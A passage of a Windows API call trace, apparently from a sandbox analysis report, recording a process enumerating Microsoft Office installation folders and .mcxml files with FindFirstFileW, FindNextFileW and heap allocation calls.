ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquee.xml", cAlternateFileName="")) returned 1 [0277.562] GetProcessHeap () returned 0xaf0000 [0277.562] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.563] GetProcessHeap () returned 0xaf0000 [0277.563] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.565] GetProcessHeap () returned 0xaf0000 [0277.565] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.565] GetProcessHeap () returned 0xaf0000 [0277.565] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.567] GetProcessHeap () returned 0xaf0000 [0277.567] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.568] GetProcessHeap () returned 0xaf0000 [0277.568] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.569] GetProcessHeap () returned 0xaf0000 [0277.569] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0277.572] GetProcessHeap () returned 0xaf0000 [0277.572] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.572] GetProcessHeap () returned 0xaf0000 [0277.572] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.575] GetProcessHeap () returned 0xaf0000 [0277.575] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.575] GetProcessHeap () returned 0xaf0000 [0277.575] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.578] GetProcessHeap () returned 0xaf0000 [0277.578] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.578] GetProcessHeap () returned 0xaf0000 [0277.578] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.987] GetProcessHeap () returned 0xaf0000 [0277.987] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.987] GetProcessHeap () returned 0xaf0000 [0277.987] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.988] GetProcessHeap () returned 0xaf0000 [0277.988] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0277.988] GetProcessHeap () returned 0xaf0000 [0277.988] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0277.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0277.988] GetProcessHeap () returned 0xaf0000 [0277.988] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0277.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.993] GetProcessHeap () returned 0xaf0000 [0277.993] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0277.993] GetProcessHeap () returned 0xaf0000 [0277.993] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0277.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.994] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.994] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15392, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0277.994] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15392, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 0 [0277.994] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0277.996] GetProcessHeap () returned 0xaf0000 [0277.997] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0277.997] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0277.997] GetProcessHeap () returned 0xaf0000 [0277.997] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0277.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.997] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.997] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0277.997] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 0 [0277.997] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0277.997] GetProcessHeap () returned 0xaf0000 [0277.997] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0277.997] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0277.997] GetProcessHeap () returned 0xaf0000 [0277.998] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0277.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1164cbcb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10257a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ACCESS~1.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93296, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCF.x-none.msi.16_mondoww.mcxml", cAlternateFileName="DCFX-N~1.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21d4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.x-none.msi.16_mondoww.mcxml", cAlternateFileName="EXCELX~1.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.x-none.msi.16_mondoww.mcxml", cAlternateFileName="GROOVE~1.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1779d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lync.x-none.msi.16_mondoww.mcxml", cAlternateFileName="LYNCX-~1.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x109e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_authored.mcxml", cAlternateFileName="OFFICE~4.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_Common.mcxml", cAlternateFileName="OFFICE~2.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d407, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_licensing.mcxml", cAlternateFileName="OFFICE~3.MCX")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OFFICE~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_postcommon.mcxml", cAlternateFileName="OFC55B~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_PostCommon.Office.x-none.mcxml", cAlternateFileName="OFD6FB~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_crossbitness.mcxml", cAlternateFileName="OF73AB~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d3b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_office32ww.mcxml", cAlternateFileName="OF4373~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128c7033, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67260, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ONENOT~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_OneNote.mcxml", cAlternateFileName="ONENOT~2.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSM.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMX-N~1.MCX")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, 